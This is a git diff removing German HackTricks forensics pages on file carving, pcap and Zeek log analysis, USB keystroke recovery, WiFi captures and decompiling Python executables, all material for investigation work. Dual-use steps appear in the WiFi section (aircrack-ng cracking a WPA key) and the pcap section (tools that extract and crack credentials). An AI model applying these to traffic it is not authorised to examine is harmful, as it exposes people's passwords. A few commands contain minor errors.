Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Images ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Disk-Images und andere Arten von Images zu unterstützen, jedoch keine einfachen Dateien.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** ist ein Tool zum Suchen von Binärdateien wie Bildern und Audiodateien nach eingebetteten Dateien und Daten. Es kann mit `apt` installiert werden, die [Quelle](https://github.com/ReFirmLabs/binwalk) ist jedoch auf GitHub zu finden.
|
||||
**Nützliche Befehle**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost befindet sich in `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** ist ein weiteres Tool, das verwendet werden kann, um **Dateien, die in einer Datei eingebettet sind**, zu finden und zu extrahieren. In diesem Fall müssen Sie die Dateitypen, die Sie extrahieren möchten, aus der Konfigurationsdatei \(_/etc/scalpel/scalpel.conf_\) auskommentieren.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur folgendes tun:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat \(Passwörter?\), **analysieren** Sie die **Pakete** \(lesen[ **Pcaps-Analyse**](../pcap-inspection/index.html)\), suchen Sie nach **seltsamen Domains** \(Domains, die mit **Malware** oder **nicht existierenden**\) in Verbindung stehen.
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Sie finden es unter [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Es kommt mit einer GUI- und CLI-Version. Sie können die **Dateitypen** auswählen, nach denen PhotoRec suchen soll.
|
||||
|
||||

|
||||
|
||||
# Spezifische Daten-Carving-Tools
|
||||
|
||||
## FindAES
|
||||
|
||||
Sucht nach AES-Schlüsseln, indem es nach ihren Schlüsselschemata sucht. In der Lage, 128, 192 und 256 Bit Schlüssel zu finden, wie sie von TrueCrypt und BitLocker verwendet werden.
|
||||
|
||||
Laden Sie [hier](https://sourceforge.net/projects/findaes/) herunter.
|
||||
|
||||
# Ergänzende Werkzeuge
|
||||
|
||||
Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.
|
||||
Sie können das Linux-Befehlszeilenwerkzeug **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,212 +0,0 @@
|
||||
# Pcap-Inspektion
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Eine Anmerkung zu **PCAP** vs **PCAPNG**: Es gibt zwei Versionen des PCAP-Dateiformats; **PCAPNG ist neuer und wird nicht von allen Tools unterstützt**. Möglicherweise müssen Sie eine Datei von PCAPNG in PCAP mit Wireshark oder einem anderen kompatiblen Tool konvertieren, um sie in einigen anderen Tools verwenden zu können.
|
||||
|
||||
## Online-Tools für pcaps
|
||||
|
||||
- Wenn der Header Ihres pcaps **beschädigt** ist, sollten Sie versuchen, ihn mit [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) zu **reparieren**.
|
||||
- Extrahieren Sie **Informationen** und suchen Sie nach **Malware** in einem pcap in [**PacketTotal**](https://packettotal.com).
|
||||
- Suchen Sie nach **bösartiger Aktivität** mit [**www.virustotal.com**](https://www.virustotal.com) und [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com).
|
||||
|
||||
## Informationen extrahieren
|
||||
|
||||
Die folgenden Tools sind nützlich, um Statistiken, Dateien usw. zu extrahieren.
|
||||
|
||||
### Wireshark
|
||||
|
||||
> [!NOTE]
|
||||
> **Wenn Sie ein PCAP analysieren möchten, müssen Sie im Grunde wissen, wie man Wireshark verwendet.**
|
||||
|
||||
Sie finden einige Wireshark-Tricks in:
|
||||
|
||||
{{#ref}}
|
||||
wireshark-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
### Xplico-Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(nur Linux)_ kann ein **pcap** **analysieren** und Informationen daraus extrahieren. Zum Beispiel extrahiert Xplico aus einer pcap-Datei jede E-Mail (POP, IMAP und SMTP-Protokolle), alle HTTP-Inhalte, jeden VoIP-Anruf (SIP), FTP, TFTP usw.
|
||||
|
||||
**Installieren**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**Ausführen**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Zugriff auf _**127.0.0.1:9876**_ mit den Anmeldeinformationen _**xplico:xplico**_
|
||||
|
||||
Erstellen Sie dann einen **neuen Fall**, erstellen Sie eine **neue Sitzung** innerhalb des Falls und **laden Sie die pcap**-Datei hoch.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Wie Xplico ist es ein Tool, um **pcaps zu analysieren und Objekte zu extrahieren**. Es gibt eine kostenlose Edition, die Sie **hier** **herunterladen** können [**hier**](https://www.netresec.com/?page=NetworkMiner). Es funktioniert mit **Windows**.\
|
||||
Dieses Tool ist auch nützlich, um **andere Informationen aus den Paketen zu analysieren**, um herauszufinden, was auf eine **schnellere** Weise passiert ist.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Sie können [**NetWitness Investigator von hier**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **herunterladen** **(Es funktioniert unter Windows)**.\
|
||||
Dies ist ein weiteres nützliches Tool, das **die Pakete analysiert** und die Informationen auf nützliche Weise sortiert, um **zu wissen, was im Inneren passiert**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
- Extrahieren und Kodieren von Benutzernamen und Passwörtern (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
- Authentifizierungshashes extrahieren und mit Hashcat knacken (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
- Erstellen eines visuellen Netzwerkdiagramms (Netzwerkknoten & Benutzer)
|
||||
- DNS-Abfragen extrahieren
|
||||
- Alle TCP- und UDP-Sitzungen rekonstruieren
|
||||
- File Carving
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
### Ngrep
|
||||
|
||||
Wenn Sie **nach** **etwas** im pcap **suchen**, können Sie **ngrep** verwenden. Hier ist ein Beispiel mit den Hauptfiltern:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Carving
|
||||
|
||||
Die Verwendung gängiger Carving-Techniken kann nützlich sein, um Dateien und Informationen aus dem pcap zu extrahieren:
|
||||
|
||||
{{#ref}}
|
||||
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Capturing credentials
|
||||
|
||||
Sie können Tools wie [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) verwenden, um Anmeldeinformationen aus einem pcap oder einer Live-Schnittstelle zu parsen.
|
||||
|
||||
## Check Exploits/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
**Installieren und einrichten**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Überprüfen Sie pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ist ein Tool, das
|
||||
|
||||
- eine PCAP-Datei liest und Http-Streams extrahiert.
|
||||
- gzip komprimierte Streams deflate.
|
||||
- jede Datei mit yara scannt.
|
||||
- einen report.txt schreibt.
|
||||
- optional übereinstimmende Dateien in ein Verzeichnis speichert.
|
||||
|
||||
### Malware-Analyse
|
||||
|
||||
Überprüfen Sie, ob Sie einen Fingerabdruck einer bekannten Malware finden können:
|
||||
|
||||
{{#ref}}
|
||||
../malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) ist ein passiver, Open-Source-Netzwerkverkehrsanalysator. Viele Betreiber verwenden Zeek als Netzwerk-Sicherheitsmonitor (NSM), um Untersuchungen zu verdächtigen oder bösartigen Aktivitäten zu unterstützen. Zeek unterstützt auch eine Vielzahl von Verkehrsanalysaufgaben über den Sicherheitsbereich hinaus, einschließlich Leistungsbewertung und Fehlersuche.
|
||||
|
||||
Im Grunde genommen sind die von `zeek` erstellten Protokolle keine **pcaps**. Daher müssen Sie **andere Tools** verwenden, um die Protokolle zu analysieren, in denen die **Informationen** über die pcaps enthalten sind.
|
||||
|
||||
### Verbindungsinformationen
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||
|
||||
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||
|
||||
|
||||
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||
|
||||
#Get the number of connections summed up per each line
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 1 86222.4
|
||||
10.55.100.107 111.221.29.113 1 86220.1
|
||||
10.55.100.110 40.77.229.82 134 86160.1
|
||||
|
||||
#Check if any IP is connecting to 1.1.1.1
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||
|
||||
#Get number of connections per source IP, dest IP and dest Port
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
|
||||
# RITA
|
||||
#Something similar can be done with the tool rita
|
||||
rita show-long-connections -H --limit 10 zeek_logs
|
||||
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||
|
||||
#Get connections info from rita
|
||||
rita show-beacons zeek_logs | head -n 10
|
||||
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS-Informationen
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
||||
#Get the number of times each domain was requested and get the top 10
|
||||
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||
|
||||
#Get all the IPs
|
||||
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||
|
||||
#Sort the most common DNS record request (should be A)
|
||||
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||
|
||||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Andere pcap-Analyse-Tricks
|
||||
|
||||
{{#ref}}
|
||||
dnscat-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
wifi-pcap-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
usb-keystrokes.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,14 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wenn Sie ein pcap einer USB-Verbindung mit vielen Unterbrechungen haben, handelt es sich wahrscheinlich um eine USB-Tastaturverbindung.
|
||||
|
||||
Ein Wireshark-Filter wie dieser könnte nützlich sein: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
Es könnte wichtig sein zu wissen, dass die Daten, die mit "02" beginnen, mit Shift gedrückt werden.
|
||||
|
||||
Sie können weitere Informationen lesen und einige Skripte finden, wie man dies analysiert in:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wenn Sie eine pcap-Datei haben, die die Kommunikation über USB einer Tastatur wie die folgende enthält:
|
||||
|
||||
.png>)
|
||||
|
||||
können Sie das Tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) verwenden, um herauszufinden, was in der Kommunikation geschrieben wurde:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
Sie können weitere Informationen lesen und einige Skripte finden, wie Sie dies analysieren können in:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,39 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Überprüfen von BSSIDs
|
||||
|
||||
Wenn Sie einen Capture erhalten, dessen Hauptverkehr Wifi ist, können Sie mit WireShark alle SSIDs des Captures untersuchen, indem Sie _Wireless --> WLAN Traffic_ auswählen:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
## Brute Force
|
||||
|
||||
Eine der Spalten dieses Bildschirms zeigt an, ob **irgendeine Authentifizierung im pcap gefunden wurde**. Wenn dies der Fall ist, können Sie versuchen, es mit `aircrack-ng` zu brute-forcen:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Zum Beispiel wird das WPA-Passwort abgerufen, das einen PSK (pre shared-key) schützt, das später zum Entschlüsseln des Verkehrs benötigt wird.
|
||||
|
||||
# Daten in Beacons / Seitenkanal
|
||||
|
||||
Wenn Sie vermuten, dass **Daten in Beacons eines Wifi-Netzwerks geleakt werden**, können Sie die Beacons des Netzwerks mit einem Filter wie dem folgenden überprüfen: `wlan contains <NAMEofNETWORK>`, oder `wlan.ssid == "NAMEofNETWORK"` und in den gefilterten Paketen nach verdächtigen Zeichenfolgen suchen.
|
||||
|
||||
# Unbekannte MAC-Adressen in einem Wifi-Netzwerk finden
|
||||
|
||||
Der folgende Link wird nützlich sein, um die **Maschinen zu finden, die Daten in einem Wifi-Netzwerk senden**:
|
||||
|
||||
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
Wenn Sie bereits **MAC-Adressen kennen, können Sie diese aus der Ausgabe entfernen**, indem Sie Überprüfungen wie diese hinzufügen: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Sobald Sie **unbekannte MAC**-Adressen erkannt haben, die im Netzwerk kommunizieren, können Sie **Filter** wie den folgenden verwenden: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`, um den Verkehr zu filtern. Beachten Sie, dass ftp/http/ssh/telnet-Filter nützlich sind, wenn Sie den Verkehr entschlüsselt haben.
|
||||
|
||||
# Verkehr entschlüsseln
|
||||
|
||||
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,201 +0,0 @@
|
||||
# Decompile kompilierte Python-Binärdateien (exe, elf) - Abrufen von .pyc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Von kompilierter Binärdatei zu .pyc
|
||||
|
||||
Von einer **ELF**-kompilierten Binärdatei können Sie **die .pyc** mit:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
In einer **python exe-Binärdatei** können Sie **die .pyc** erhalten, indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Von .pyc zu Python-Code
|
||||
|
||||
Für die **.pyc**-Daten ("kompilierte" Python) sollten Sie versuchen, den **originalen** **Python**-**Code** zu **extrahieren**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Stellen Sie sicher**, dass die Binärdatei die **Erweiterung** "**.pyc**" hat (wenn nicht, wird uncompyle6 nicht funktionieren)
|
||||
|
||||
Beim Ausführen von **uncompyle6** könnten Sie die **folgenden Fehler** finden:
|
||||
|
||||
### Fehler: Unbekannte magische Zahl 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Um dies zu beheben, müssen Sie **die richtige Magic Number** am Anfang der generierten Datei **hinzufügen**.
|
||||
|
||||
**Magic Numbers variieren mit der Python-Version**, um die Magic Number von **Python 3.8** zu erhalten, müssen Sie ein **Python 3.8**-Terminal öffnen und ausführen:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
Die **magische Zahl** in diesem Fall für python3.8 ist **`0x550d0d0a`**, dann müssen Sie, um diesen Fehler zu beheben, die folgenden Bytes **am Anfang** der **.pyc-Datei** hinzufügen: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Sobald** Sie diesen magischen Header **hinzugefügt** haben, sollte der **Fehler behoben sein.**
|
||||
|
||||
So sieht ein korrekt hinzugefügter **.pyc python3.8 magischer Header** aus:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Fehler: Decompiling generische Fehler
|
||||
|
||||
**Andere Fehler** wie: `class 'AssertionError'>; co_code sollte einer der Typen sein (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); ist Typ <class 'NoneType'>` können auftreten.
|
||||
|
||||
Das bedeutet wahrscheinlich, dass Sie **die magische Zahl nicht korrekt hinzugefügt haben** oder dass Sie **nicht die korrekte magische Zahl verwendet haben**, also stellen Sie **sicher, dass Sie die richtige verwenden** (oder versuchen Sie eine neue).
|
||||
|
||||
Überprüfen Sie die vorherige Fehlermeldungsdokumentation.
|
||||
|
||||
## Automatisches Tool
|
||||
|
||||
Das [**python-exe-unpacker Tool**](https://github.com/countercept/python-exe-unpacker) dient als Kombination mehrerer in der Community verfügbarer Tools, die Forschern helfen sollen, ausführbare Dateien, die in Python geschrieben wurden, insbesondere solche, die mit py2exe und pyinstaller erstellt wurden, zu entpacken und zu dekompilieren. Es enthält YARA-Regeln, um zu identifizieren, ob eine ausführbare Datei auf Python basiert, und bestätigt das Erstellungswerkzeug.
|
||||
|
||||
### ImportError: Dateiname: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' existiert nicht
|
||||
|
||||
Ein häufiges Problem besteht darin, dass eine unvollständige Python-Bytecode-Datei aus dem **Entpackungsprozess mit unpy2exe oder pyinstxtractor** resultiert, die dann **von uncompyle6 aufgrund einer fehlenden Python-Bytecode-Versionnummer nicht erkannt wird**. Um dies zu beheben, wurde eine Voranstellungsoption hinzugefügt, die die erforderliche Python-Bytecode-Versionnummer anfügt und den Dekompilierungsprozess erleichtert.
|
||||
|
||||
Beispiel für das Problem:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
```
|
||||
|
||||
```python
|
||||
# Successful decompilation after using the prepend option
|
||||
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||
[*] On Python 2.7
|
||||
[+] Magic bytes are already appended.
|
||||
|
||||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Analysieren von Python-Assembly
|
||||
|
||||
Wenn es Ihnen nicht gelungen ist, den "originalen" Python-Code gemäß den vorherigen Schritten zu extrahieren, können Sie versuchen, die **Assembly** zu **extrahieren** (aber **es ist nicht sehr beschreibend**, also **versuchen** Sie, den **originalen** Code **noch einmal** zu extrahieren). Ich fand [hier](https://bits.theorem.co/protecting-a-python-codebase/) einen sehr einfachen Code, um das _.pyc_-Binary zu **disassemblieren** (viel Glück beim Verstehen des Codeflusses). Wenn das _.pyc_ von Python2 ist, verwenden Sie Python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
>>> import struct
|
||||
>>> import imp
|
||||
>>>
|
||||
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||
... magic = f.read(4)
|
||||
... timestamp = f.read(4)
|
||||
... code = f.read()
|
||||
...
|
||||
>>>
|
||||
>>> # Unpack the structured content and un-marshal the code
|
||||
>>> magic = struct.unpack('<H', magic[:2])
|
||||
>>> timestamp = struct.unpack('<I', timestamp)
|
||||
>>> code = marshal.loads(code)
|
||||
>>> magic, timestamp, code
|
||||
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||
>>>
|
||||
>>> # Verify if the magic number corresponds with the current python version
|
||||
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||
True
|
||||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python zu Executable
|
||||
|
||||
Um zu beginnen, zeigen wir Ihnen, wie Payloads in py2exe und PyInstaller kompiliert werden können.
|
||||
|
||||
### Um ein Payload mit py2exe zu erstellen:
|
||||
|
||||
1. Installieren Sie das py2exe-Paket von [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Für das Payload (in diesem Fall nennen wir es hello.py) verwenden Sie ein Skript wie das in Abbildung 1. Die Option „bundle_files“ mit dem Wert 1 wird alles, einschließlich des Python-Interpreters, in eine exe bündeln.
|
||||
3. Sobald das Skript bereit ist, geben wir den Befehl „python setup.py py2exe“ ein. Dies wird die ausführbare Datei erstellen, genau wie in Abbildung 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
||||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||
running py2exe
|
||||
*** searching for required modules ***
|
||||
*** parsing results ***
|
||||
*** finding dlls needed ***
|
||||
*** create binaries ***
|
||||
*** byte compile python files ***
|
||||
*** copy extensions ***
|
||||
*** copy dlls ***
|
||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Um ein Payload mit PyInstaller zu erstellen:
|
||||
|
||||
1. Installieren Sie PyInstaller mit pip (pip install pyinstaller).
|
||||
2. Danach geben wir den Befehl “pyinstaller –onefile hello.py” ein (eine Erinnerung, dass ‘hello.py’ unser Payload ist). Dies wird alles in eine ausführbare Datei bündeln.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
108 INFO: Python: 2.7.14
|
||||
